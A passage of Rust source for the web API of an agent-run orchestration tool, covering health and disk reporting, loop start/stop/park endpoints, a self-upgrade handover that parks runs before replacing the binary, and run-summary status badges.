2625/// trusting whatever was true the moment the park was requested.
2626fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2627    let now = Timestamp::now();
2628    let lease = updater::read_lease(&ui.home);
2629    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2630    let run_id = alive
2631        .and_then(|l| l.parked_run.as_deref())
2632        .or(progress.parked_run.as_deref());
2633    let parking = progress.stage == updater::Stage::Parking;
2634    let waited = alive.map_or_else(String::new, |l| {
2635        let secs = updater::waited_secs(l, now);
2636        format!(" (waited {} min so far)", secs / 60)
2637    });
2638    let run_text = run_id
2639        .filter(|_| parking)
2640        .map(|id| match read_run(&ui.runs, id).ok() {
2641            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2642            None => format!("run {id} is finishing"),
2643        });
2644    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2645        .filter(|t| parking && !t.is_empty())
2646        .map(|t| format!("{t} finishing"));
2647    let waiting_on = match (run_text, talks_text) {
2648        (None, None) => None,
2649        (run, talks) => {
2650            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2651            Some(format!(
2652                "{} before the address is handed over{waited}",
2653                parts.join(" and ")
2654            ))
2655        }
2656    };
2657    let detail = progress
2658        .detail
2659        .clone()
2660        .or_else(|| updater::read_note(&ui.home, &progress));
2661    let stalled = updater::stall(&progress, lease.as_ref(), now);
2662    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2663    UpgradeProgressView {
2664        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2665        stuck_kind: stalled.map(|s| s.kind),
2666        handover_alive: alive.is_some(),
2667        stage: progress.stage,
2668        from: progress.from,
2669        to: progress.to,
2670        waiting_on,
2671        started_at: progress.started_at,
2672        updated_at: progress.updated_at,
2673        detail,
2674    }
2675}
2676
2677/// The disk figures `/api/health` carries. Every number is produced by
2678/// [`crate::disk`], the same code that decides a run may not start, so the
2679/// health screen and the gate cannot disagree about what the machine looks
2680/// like.
2681#[derive(Debug, Serialize)]
2682struct DiskView {
2683    /// Free bytes on the volume holding the runs, when measurable.
2684    #[serde(skip_serializing_if = "Option::is_none")]
2685    free_bytes: Option<u64>,
2686    /// Everything the runs directory occupies, unreadable runs included.
2687    runs_bytes: u64,
2688    /// Everything the runs' worktrees occupy.
2689    worktrees_bytes: u64,
2690    /// The shared build cache's size, when the config names one.
2691    #[serde(skip_serializing_if = "Option::is_none")]
2692    cache_bytes: Option<u64>,
2693}
2694
2695impl DiskView {
2696    /// Measure the three directories and re-read the config's cache.
2697    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2698        let cache_bytes = cfg
2699            .and_then(|cfg| cfg.cache_dir())
2700            .map(|dir| crate::disk::dir_size(&dir));
2701        Self {
2702            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2703            runs_bytes: crate::disk::dir_size(&ui.runs),
2704            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2705            cache_bytes,
2706        }
2707    }
2708}
2709
2710/// The daemon's state as the UI presents it.
2711#[derive(Debug, Serialize)]
2712struct DaemonView {
2713    running: bool,
2714    idle: Option<bool>,
2715    pid: Option<u32>,
2716    /// Every task and run currently in flight. Empty when idle; more than
2717    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
2718    /// run going at once.
2719    current: Vec<daemon::Current>,
2720    completed: Option<u64>,
2721    stale_for_secs: Option<i64>,
2722}
2723
2724impl DaemonView {
2725    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
2726    /// not this UI's — a crashed daemon must not look alive here while
2727    /// `doctor` calls it dead.
2728    fn of(status: Option<daemon::Reading>) -> Self {
2729        let Some(status) = status else {
2730            return Self {
2731                running: false,
2732                idle: None,
2733                pid: None,
2734                current: Vec::new(),
2735                completed: None,
2736                stale_for_secs: None,
2737            };
2738        };
2739        let now = Timestamp::now();
2740        let age = status.age_secs(now);
2741        Self {
2742            running: status.running(now),
2743            idle: Some(status.idle),
2744            pid: status.pid,
2745            current: status.current,
2746            completed: Some(status.completed),
2747            stale_for_secs: age,
2748        }
2749    }
2750}
2751
2752async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2753    let revisions = ui.monitor.revisions(&ui).await?;
2754    blocking(move || {
2755        // One read of the status file for the two fields that describe it, so
2756        // `daemon` and `loop` in the same answer cannot disagree about who is
2757        // running the loop.
2758        let reading = daemon::read_status(&ui.home);
2759        // Read on its own line, not inside the literal below: the loop's lock
2760        // is not reentrant, and a guard taken as a temporary there would still
2761        // be held when `loop_view` took it again.
2762        let loop_rev = ui.lock_loop().rev;
2763        // One discover for both views: each is a few git processes plus a
2764        // config render, and neither depends on anything the other reads.
2765        let cfg = deputy_config(&ui.repo);
2766        let update = cached_update_view(cfg.as_ref());
2767        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2768        let questions = ui.questions.list();
2769        Ok(Json(HealthView {
2770            version: env!("CARGO_PKG_VERSION"),
2771            home: ui.home.display().to_string(),
2772            queue_rev: revisions.0,
2773            runs_rev: revisions.1,
2774            questions_rev: revisions.2,
2775            talks_rev: revisions.3,
2776            notifications_rev: stamps_revision(
2777                &try_stamps(ui.notices.root(), false, true).map_err(anyhow::Error::from)?,
2778            ),
2779            notifications_unread: ui.notices.count_unread(),
2780            loop_rev,
2781            runs_unreadable: runs_unreadable(&ui.runs),
2782            questions_open: questions.iter().filter(|q| q.status.open()).count(),
2783            questions_needs_owner: questions
2784                .iter()
2785                .filter(|q| {
2786                    q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
2787                })
2788                .count(),
2789            daemon: DaemonView::of(reading.clone()),
2790            looping: ui.loop_view(reading),
2791            disk: DiskView::of(&ui, cfg.as_ref()),
2792            update,
2793            upgrade,
2794            upgrade_request_error: ui
2795                .upgrade_request_error
2796                .lock()
2797                .unwrap_or_else(PoisonError::into_inner)
2798                .clone(),
2799        }))
2800    })
2801    .await
2802}
2803
2804/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
2805#[derive(Debug, Serialize)]
2806struct LoopView {
2807    /// A loop is running in *this* process.
2808    running: bool,
2809    /// It has been asked to stop and is still finishing a run.
2810    ///
2811    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
2812    /// because the two differ exactly where it matters: a loop asked to stop
2813    /// while idle is gone within one poll interval, and one asked to stop
2814    /// mid-run keeps going for as long as the graph takes. The operator needs
2815    /// to be told which of those they are waiting for.
2816    stopping: bool,
2817    /// A park was asked for: the run in flight stops at its next node
2818    /// boundary rather than finishing.
2819    ///
2820    /// Separate from `stopping` because the two promise different waits. A
2821    /// stop is "when this competition ends", which can be an hour; a park is
2822    /// "after the step it is on", which is minutes and is what an operator
2823    /// waiting to replace the binary needs to see.
2824    parking: bool,
2825    /// The loop is this process's own.
2826    ///
2827    /// Spelled separately from `running` for the front end's sake, even
2828    /// though inside this process the two move together: `running: false`
2829    /// with `daemon.running: true` is the case where the operator's own `magi
2830    /// serve` owns the loop, and `owned` is the field that tells the UI its
2831    /// buttons have to explain that rather than pretend.
2832    owned: bool,
2833    /// Repository the loop uses for tasks that name none - what it was
2834    /// started with while it runs, and what a start would use before that.
2835    repo: String,
2836    /// Merge mode override in force, or `null` when each repository's own
2837    /// config decides.
2838    merge: Option<String>,
2839    /// Why the last loop in this process ended, when it ended badly.
2840    ///
2841    /// The only place a crashed loop is visible to someone holding a phone.
2842    /// It is logged at error level as well, but a terminal nobody kept open
2843    /// is not a report, and a loop that died at 3am must not read as merely
2844    /// stopped in the morning. Named as [`Task::last_error`] is, because it
2845    /// answers the same question about the same kind of failure.
2846    last_error: Option<String>,
2847    /// The status file, judged the same way `/api/health` judges it: this is
2848    /// what says whether a loop is alive in some *other* process.
2849    daemon: DaemonView,
2850}
2851
2852/// A loop another process already owns.
2853///
2854/// `<home>/daemon.json` is the only cross-process signal there is, so this is
2855/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
2856/// published by a pid that is not ours. Excluding our own pid is what makes
2857/// stopping work at all - the loop this process runs writes that file too, so
2858/// a check that ignored the pid would decide the operator's own UI was a
2859/// stranger and refuse to stop the loop it had just started.
2860#[derive(Debug, Clone, Copy)]
2861struct Foreign {
2862    /// The pid the other process published, when it published one.
2863    pid: Option<u32>,
2864}
2865
2866impl Foreign {
2867    /// Another process's live loop, or `None` when this process is free to
2868    /// run one.
2869    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2870        // A fresh heartbeat with no pid in it is still evidence of a live
2871        // daemon. "Some other process" is the honest answer, and refusing
2872        // to start beside it is the safe one.
2873        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2874    }
2875
2876    /// How a conflict names it. The pid is the whole point of the message: it
2877    /// is what the operator needs to find the terminal that owns the loop.
2878    fn who(&self) -> String {
2879        match self.pid {
2880            Some(pid) => format!("another magi process (pid {pid})"),
2881            None => "another magi process".to_owned(),
2882        }
2883    }
2884}
2885
2886/// How a loop is started, as a future this module can hold onto.
2887///
2888/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
2889/// trait object or a hand-written `Debug` impl for the sake of one seam.
2890type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2891
2892/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
2893fn launch_daemon(
2894    opts: daemon::Opts,
2895    stop: daemon::Stop,
2896) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2897    Box::pin(daemon::serve_until(opts, stop))
2898}
2899
2900/// The loop this process runs, behind one lock.
2901#[derive(Debug, Default)]
2902struct LoopState {
2903    /// The loop, while there is one.
2904    live: Option<Live>,
2905    /// Bumped on every change to this struct, and streamed as `loop_rev`.
2906    ///
2907    /// The loop is in-process state rather than a file, so nothing on disk
2908    /// would tell a second phone that the first one started it. Without this
2909    /// counter the only way to learn about a start, a stop request or a crash
2910    /// would be to poll `/api/loop`, which is the thing the change stream
2911    /// exists to avoid on a mobile link.
2912    rev: u64,
2913    /// Why the last loop ended, when it ended badly. See
2914    /// [`LoopView::last_error`].
2915    last_error: Option<String>,
2916    /// The loop was running (and not already stopping) when the last upgrade
2917    /// parked it, so the successor should start one. Set afresh by every
2918    /// [`Ui::park_for_upgrade`], cleared by an explicit stop and by a failed
2919    /// update.
2920    resume_after_handover: bool,
2921}
2922
2923/// A loop in flight.
2924#[derive(Debug)]
2925struct Live {
2926    /// The cooperative stop, shared with the loop task.
2927    stop: daemon::Stop,
2928    /// The task itself, kept only to answer whether it is still there: a loop
2929    /// that panicked never records its own end, and without this the view
2930    /// would go on reporting a loop that no longer exists - the one lie that
2931    /// would leave the operator with no button to press.
2932    handle: tokio::task::JoinHandle<()>,
2933    /// What the loop was started with, so the view reports the repository and
2934    /// merge mode its runs will actually use rather than what an edit to the
2935    /// config since would give.
2936    opts: daemon::Opts,
2937}
2938
2939impl Live {
2940    /// Is the task still there? See [`Live::handle`].
2941    fn alive(&self) -> bool {
2942        !self.handle.is_finished()
2943    }
2944}
2945
2946/// Take the loop lock, recovering from a poisoned one.
2947///
2948/// What this mutex holds is a stop flag, a task handle and two counters, none
2949/// of which a panic elsewhere can leave in a state worth refusing to read.
2950/// Propagating the poison instead would mean an operator who can see the loop
2951/// running and can no longer stop it from the only surface they have.
2952fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2953    state.lock().unwrap_or_else(PoisonError::into_inner)
2954}
2955
2956/// `GET /api/loop`.
2957async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2958    blocking(move || {
2959        let reading = daemon::read_status(&ui.home);
2960        Ok(Json(ui.loop_view(reading)))
2961    })
2962    .await
2963}
2964
2965/// The body of `POST /api/loop`.
2966///
2967/// One required field and nothing else: no `default` and no unknown fields,
2968/// so a body that fails to say which way the switch was flipped is a 400
2969/// rather than a tap that quietly does the opposite of what was pressed.
2970#[derive(Debug, Deserialize)]
2971#[serde(deny_unknown_fields)]
2972struct LoopCommand {
2973    running: bool,
2974    /// Stop the run in flight at its next node boundary rather than letting it
2975    /// finish.
2976    ///
2977    /// Defaults to false, so the plain stop keeps meaning what it meant: a
2978    /// competition is tens of minutes of paid work and finishing it is
2979    /// normally the cheapest thing to do. A park is for the operator who
2980    /// wants the process gone now - to replace the binary, most of all - and
2981    /// it costs at most the node in progress because every node writes its
2982    /// state before the next one starts.
2983    #[serde(default)]
2984    park: bool,
2985}
2986
2987/// `POST /api/loop` - start the loop in this process, or ask it to stop.
2988///
2989/// Answers with the view rather than waiting for the loop to reach the state
2990/// that was asked for. Starting is immediate anyway; stopping is not, and the
2991/// wait is a run's worth of minutes, which is not a thing to hold a phone's
2992/// request open for. `stopping` in the answer is what the operator watches
2993/// instead.
2994async fn loop_post(
2995    State(ui): State<Arc<Ui>>,
2996    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2997) -> ApiResult<Json<LoopView>> {
2998    // Taken as a `Result` so a malformed body is a 400 like every other route
2999    // here, rather than axum's default 422 that the UI has no branch for.
3000    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3001    blocking(move || {
3002        let reading = daemon::read_status(&ui.home);
3003        let foreign = Foreign::of(reading.as_ref());
3004        if body.running {
3005            ui.start_loop(foreign)?;
3006        } else {
3007            ui.stop_loop(foreign, body.park)?;
3008        }
3009        Ok(Json(ui.loop_view(reading)))
3010    })
3011    .await
3012}
3013
3014/// What `POST /api/upgrade` set in motion.
3015#[derive(Debug, Serialize)]
3016struct UpgradeView {
3017    /// The version this process is running.
3018    from: String,
3019    /// The release it is replacing itself with, when there is one.
3020    to: Option<String>,
3021    /// A run was parked first, and this is its id.
3022    parked: Option<String>,
3023    /// What the operator should expect to happen next.
3024    detail: String,
3025}
3026
3027/// The stage of an upgrade that is still moving, if the record says so.
3028/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
3029fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3030    progress.filter(|p| !p.stage.terminal())
3031}
3032
3033/// Retry timing extracted only from kaishin's known rate-limit diagnostics.
3034/// Unknown diagnostics retain their complete message without guessing a delay.
3035fn upgrade_retry_after(message: &str) -> Option<u64> {
3036    if !message.contains("GitHub") || !message.contains("rate limit") {
3037        return None;
3038    }
3039    if message.contains("retry now") {
3040        return Some(0);
3041    }
3042    let duration = message
3043        .split_once("resets in ")
3044        .or_else(|| message.split_once("retry after "))?
3045        .1
3046        .split_once(')')?
3047        .0;
3048    let mut rest = duration.trim();
3049    if rest.is_empty() {
3050        return None;
3051    }
3052    let mut total = 0u64;
3053    while !rest.is_empty() {
3054        let n = rest.find(|c: char| !c.is_ascii_digit())?;
3055        let amount: u64 = rest[..n].parse().ok()?;
3056        let scale = match rest[n..].chars().next()? {
3057            's' => 1,
3058            'm' => 60,
3059            'h' => 3600,
3060            'd' => 86400,
3061            _ => return None,
3062        };
3063        total = total.checked_add(amount.checked_mul(scale)?)?;
3064        rest = rest[n + 1..].trim_start();
3065    }
3066    Some(total)
3067}
3068
3069#[derive(Debug, Clone, Serialize)]
3070struct UpgradeRequestFailure {
3071    occurred_at: String,
3072    error: String,
3073    retry_after_secs: Option<u64>,
3074    /// Unix seconds; independent of the phone's polling cadence.
3075    retry_at: Option<u64>,
3076}
3077
3078impl UpgradeRequestFailure {
3079    fn new(error: String) -> Self {
3080        let retry_after_secs = upgrade_retry_after(&error);
3081        let now = std::time::SystemTime::now()
3082            .duration_since(std::time::UNIX_EPOCH)
3083            .unwrap_or_default()
3084            .as_secs();
3085        Self {
3086            occurred_at: jiff::Timestamp::now().to_string(),
3087            error,
3088            retry_after_secs,
3089            retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3090        }
3091    }
3092}
3093
3094/// `POST /api/upgrade` - replace this binary with the newest release and come
3095/// back on it.
3096///
3097/// The one thing the deck could not do for itself. Every fix landed today
3098/// either waited for a competition to end or went in with the deck stopped,
3099/// because `cargo install` cannot overwrite a running executable on Windows.
3100/// `kaishin` can: `self_replace` **renames** the running image aside and puts
3101/// the new one in its place, so the swap itself needs no downtime. Only the
3102/// restart does, and the order is the whole design:
3103///
3104/// 1. **Park.** A run in flight stops at its next node boundary and stays
3105///    resumable, so this costs at most the node in progress rather than the
3106///    competition. Without it the honest choices were waiting an hour or
3107///    discarding paid agent work.
3108/// 2. **Replace.** The new binary goes into place while this one still runs.
3109/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
3110///    successor - see [`spawn_successor`] for what happens in the other
3111///    order.
3112/// 4. **Resume.** The next loop carries the parked run on rather than
3113///    competing again; see `daemon::attempt`.
3114///
3115/// Answers **202**: the reply has to reach the phone while this process can
3116/// still send one, and the phone learns the deck is back by reconnecting.
3117async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3118    let reading = daemon::read_status(&ui.home);
3119    if let Some(other) = Foreign::of(reading.as_ref()) {
3120        return ApiError::conflict(format!(
3121            "the loop belongs to {}, so replacing this binary would leave \
3122             that process running an old one against the same queue. Upgrade \
3123             where it was started.",
3124            other.who()
3125        ))
3126        .into_response();
3127    }
3128
3129    // A second upgrade while one is moving would replace the binary and
3130    // signal the handover again after `serve` already consumed the first
3131    // signal, leaving the process in `replaced` forever. Try-lock rather than
3132    // wait: a phone connection must not hang behind a GitHub round trip.
3133    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3134        return ApiError::conflict("another request is already preparing an upgrade")
3135            .into_response();
3136    };
3137    // Hold the same gate through recording/clearing the request outcome, so
3138    // an older response cannot overwrite a retry's result.
3139    finish_upgrade_request(&ui, upgrade_prepare(&ui).await)
3140}
3141
3142fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3143    match result {
3144        Ok(out) => {
3145            *ui.upgrade_request_error
3146                .lock()
3147                .unwrap_or_else(PoisonError::into_inner) = None;
3148            out.into_response()
3149        }
3150        Err(error) if error.status != StatusCode::CONFLICT => {
3151            let failure = UpgradeRequestFailure::new(error.message);
3152            *ui.upgrade_request_error
3153                .lock()
3154                .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3155            let mut response = (error.status, Json(&failure)).into_response();
3156            if let Some(value) = failure
3157                .retry_after_secs
3158                .and_then(|secs| secs.to_string().parse().ok())
3159            {
3160                response.headers_mut().insert("retry-after", value);
3161            }
3162            response
3163        }
3164        Err(error) => error.into_response(),
3165    }
3166}
3167
3168async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3169    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3170        return Err(ApiError::conflict(
3171            "an upgrade is already in progress (this process started one and it \
3172             has not finished or failed yet)",
3173        ));
3174    }
3175    let recorded = updater::read_progress(&ui.home);
3176    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3177        return Err(ApiError::conflict(format!(
3178            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3179             stays stuck, restart the deck; on start it settles a stale record.",
3180            p.stage.as_str(),
3181            p.from,
3182            p.to.as_deref().unwrap_or("?"),
3183        )));
3184    }
3185
3186    // The same kill switch the background check honours (`disabled_by_env`),
3187    // checked before anything else for the same reason it is read before the
3188    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
3189    // contact GitHub from this process", and a button press must not
3190    // override that any more than a broken `magi.toml` may.
3191    if crate::updater::disabled_by_env() {
3192        return Ok((
3193            StatusCode::OK,
3194            Json(UpgradeView {
3195                from: env!("CARGO_PKG_VERSION").to_owned(),
3196                to: None,
3197                parked: None,
3198                detail: format!(
3199                    "Automatic updates are disabled by {}. Nothing was parked \
3200                     and nothing restarted.",
3201                    crate::updater::NO_AUTOUPDATE_ENV
3202                ),
3203            }),
3204        ));
3205    }
3206
3207    // Asked before anything is disturbed. Restarting when there is nothing
3208    // to install is not a harmless no-op: it parks the run in flight and
3209    // drops every connection to pay for an upgrade that did not happen. A
3210    // probe against a deck already on the newest build did exactly that.
3211    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3212    let from = env!("CARGO_PKG_VERSION").to_owned();
3213    let latest = match crate::updater::Checker::new(&cfg.update) {
3214        Some(checker) => checker.newer_release().await,
3215        None => Ok(None),
3216    };
3217    upgrade_checked(ui, from, latest)
3218}
3219
3220fn upgrade_checked(
3221    ui: &Arc<Ui>,
3222    from: String,
3223    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3224) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3225    let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3226    let Some(latest) = latest else {
3227        return Ok((
3228            StatusCode::OK,
3229            Json(UpgradeView {
3230                from,
3231                to: None,
3232                parked: None,
3233                detail: "Already on the newest release. Nothing was parked \
3234                         and nothing restarted."
3235                    .to_owned(),
3236            }),
3237        ));
3238    };
3239
3240    // Parked before anything is replaced: a successor that came up while a
3241    // run was mid-node would find a run nobody is driving.
3242    let parked = ui.park_for_upgrade(&from, Some(latest.tag_name.as_str()))?;
3243    let detail = match &parked {
3244        // Honest about the wait. A park takes effect at the *next* node
3245        // boundary, so a run mid-implement finishes that wave first - up to
3246        // `timeout_implement`, an hour by default. Saying "restarting now"
3247        // would make the deck look wedged for the rest of it.
3248        Some(run) => format!(
3249            "Run {} is parking at its next step, which can take as long as \
3250             the step it is on - up to an hour for an implement wave. The \
3251             deck replaces itself once it parks, comes back, and the loop \
3252             carries that run on from where it stopped. Nothing is lost if \
3253             you close this.",
3254            crate::run::short_of(run)
3255        ),
3256        None => "The deck replaces itself and comes back. Nothing was in \
3257                 flight to park."
3258            .to_owned(),
3259    };
3260
3261    // Recorded before the spawn, not inside it: the phone's next `/api/health`
3262    // poll must see a `Downloading` stage immediately, not whenever the
3263    // spawned task happens to get scheduled.
3264    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3265    progress.parked_run = parked.clone();
3266    // A failed write is logged, not returned: the loop is already parked
3267    // above, and bailing out here would leave it parked with no upgrade
3268    // spawned to hand over or resume it.
3269    updater::write_progress_logged(&ui.home, &progress);
3270
3271    let home = ui.home.clone();
3272    let looping = ui.looping();
3273    ui.upgrade_spawned
3274        .store(true, std::sync::atomic::Ordering::SeqCst);
3275    let spawned = Arc::clone(&ui.upgrade_spawned);
3276    tokio::spawn(async move {
3277        if let Err(e) = upgrade_and_restart(home.clone()).await {
3278            tracing::error!("the upgrade did not complete: {e:#}");
3279            lock_or_recover(&looping).resume_after_handover = false;
3280            // A failure of this attempt says nothing about a handover an
3281            // earlier request already has in flight; checked and written
3282            // under the progress lock.
3283            let _ = updater::fail_progress(&home, &format!("{e:#}"));
3284            // Released last: until the cleanup above is done, a retry must
3285            // not be able to park and record state this would then undo.
3286            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3287        }
3288    });
3289
3290    Ok((
3291        StatusCode::ACCEPTED,
3292        Json(UpgradeView {
3293            from,
3294            to: Some(latest.tag_name),
3295            parked,
3296            detail,
3297        }),
3298    ))
3299}
3300
3301/// Replace the binary, then ask [`serve`] to hand the address over.
3302///
3303/// Separated from the handler so the 202 is already on its way, and separated
3304/// from the spawn so the successor starts only after the listener is dropped.
3305async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3306    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
3307    // hang the upgrade for as long as the process lives.
3308    crate::updater::run_self_update(true, false, true).await?;
3309    updater::log_step(&home, "binary replaced - recording the replaced stage");
3310    if let Some(mut progress) = updater::read_progress(&home) {
3311        progress.advance(updater::Stage::Replaced);
3312        updater::write_progress_logged(&home, &progress);
3313    }
3314    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3315    HANDOVER.notify_one();
3316    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3317    Ok(())
3318}
3319
3320/// One row in the run list.
3321///
3322/// The list route returns this rather than whole `RunState`s: the summary of a
3323/// run is a few hundred bytes and the state is megabytes, and the difference
3324/// is what makes the history usable on a mobile link.
3325#[derive(Debug, Serialize)]
3326struct RunSummary {
3327    id: String,
3328    short: String,
3329    status: String,
3330    done: bool,
3331    instruction: String,
3332    title: String,
3333    repo: String,
3334    repo_name: String,
3335    created_at: String,
3336    updated_at: String,
3337    candidates: usize,
3338    viable: usize,
3339    judges: usize,
3340    winner: Option<char>,
3341    reviews: usize,
3342    quota_losses: usize,
3343    event: Option<String>,
3344    /// The later attempt at the same task that replaced this one, if any.
3345    ///
3346    /// Two cards with one title is otherwise unreadable: this is what lets
3347    /// the deck say "superseded by 4043" on the older of the pair.
3348    superseded_by: Option<String>,
3349    /// Blocked on a question nobody has answered.
3350    ///
3351    /// Derived from the question store rather than stored on the run: an agent
3352    /// calling `magi ask` blocks mid-node, and writing a status from there
3353    /// would race the graph's own save of `run.json` and be overwritten at the
3354    /// next node boundary. Asking the store is always true and never races.
3355    waiting: bool,
3356    /// Whether the process recorded as driving this run can still be proven
3357    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
3358    /// rather than presenting its last graph node as still in flight.
3359    live: crate::run::Liveness,
3360    /// The land loop's last look at the pull request, when there is one.
3361    pr: Option<crate::run::PrRecord>,
3362    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
3363    /// design — never picked up by the PR-polling merge watcher, unlike an
3364    /// ordinary `Ready` that may still be a live landing candidate. See
3365    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
3366    /// re-deriving the same check from `status` and `merge.mode` itself.
3367    unmerged_by_design: bool,
3368    /// Derived presentation status matching [`RunDetailView::display_status`].
3369    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
3370    #[serde(default)]
3371    display_status: String,
3372    /// What the status badge shows: `display_status`, or `superseded` for a
3373    /// non-live run a later attempt replaced. See [`run_badge_status`].
3374    #[serde(default)]
3375    badge_status: String,
3376    /// Who started the run, as the one label every surface shares; the
3377    /// "origin unknown" wording when the record predates origins.
3378    origin_label: String,
3379}
3380
3381impl RunSummary {
3382    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3383        Self {
3384            id: state.id.clone(),
3385            short: state.short().to_owned(),
3386            status: status_word(state.status),
3387            done: state.status.done(),
3388            unmerged_by_design: state.unmerged_by_design(),
3389            display_status: run_display_status(state, waiting, live),
3390            badge_status: run_display_status(state, waiting, live),
3391            instruction: state.instruction.clone(),
3392            title: title_from(&state.instruction, TITLE_MAX),
3393            repo: state.repo.display().to_string(),
3394            repo_name: state
3395                .repo
3396                .file_name()
3397                .map(|n| n.to_string_lossy().into_owned())
3398                .unwrap_or_default(),
3399            created_at: state.created_at.to_string(),
3400            updated_at: state.updated_at.to_string(),
3401            candidates: state.candidates.len(),
3402            viable: state.viable().len(),
3403            judges: state.config.graph.judges,
3404            winner: state.winner().map(|c| c.label),
3405            reviews: state.reviews.len(),
3406            quota_losses: state.quota.len(),
3407            event: state.events.last().map(|e| e.message.clone()),
3408            waiting,
3409            live,
3410            // Filled in by the list route, which is the only place that can
3411            // see a task's other attempts.
3412            superseded_by: None,
3413            pr: state.pr.clone(),
3414            origin_label: crate::run::origin_label(state.origin.as_ref()),
3415        }
3416    }
3417}
3418
3419/// `RunStatus` as the wire spells it. Every variant is one word, so this is
3420/// the same string `serde` writes for the status inside a full run.
3421fn status_word(status: RunStatus) -> String {
3422    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
3423    // was a third way of naming the same statuses, and one that changed
3424    // silently with a derive.
3425    status.as_str().to_owned()
3426}
3427
3428/// The presentation status for a run, unified across summaries and details.
3429///
3430/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
3431/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
3432/// runs awaiting operator answers.
3433fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3434    if waiting {
3435        return "waiting".to_owned();
3436    }
3437    if state.unmerged_by_design() {
3438        return "unmerged".to_owned();
3439    }
3440    if !state.status.done() && live == crate::run::Liveness::Dead {
3441        // The driver claim clears this flag before saving another event.
3442        // A previous park event can therefore outlive a resumed driver.
3443        if state.parked {
3444            return "parked".to_owned();
3445        }
3446        return "stale".to_owned();
3447    }
3448    status_word(state.status)
3449}
3450
3451/// The word a run's status badge shows: `display_status`, except that a
3452/// non-terminal run which is not provably live and was replaced by a later
3453/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
3454///
3455/// Same judgement `magi show` uses (`RunState::liveness`, the task's
3456/// successor); a live driver, `Unknown` liveness and terminal runs keep their
3457/// own word, so superseded never claims more than "not live".
3458fn run_badge_status(
3459    state: &RunState,
3460    display_status: &str,
3461    live: crate::run::Liveness,
3462    superseded: bool,
3463) -> String {
3464    if state.status.done() || live == crate::run::Liveness::Live {
3465        return display_status.to_owned();
3466    }
3467    if superseded {
3468        return "superseded".to_owned();
3469    }
3470    // A dead run's `display_status` is `stale`, except that a deliberate park
3471    // and an open owner question keep their own word: neither is a crash, and
3472    // the question still needs an answer. Anything else dead reads `stale`.
3473    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3474        return "stale".to_owned();
3475    }
3476    display_status.to_owned()
3477}
3478
3479/// `?limit=`, clamped by the handler.
3480#[derive(Debug, Deserialize)]
3481struct ListQuery {
3482    #[serde(default)]
3483    limit: Option<usize>,
3484    /// Exact ids only; an empty value requests no rows (except queue blockers).
3485    ids: Option<String>,
3486}
3487
3488impl ListQuery {
3489    fn contains(&self, id: &str) -> bool {
3490        self.ids
3491            .as_ref()
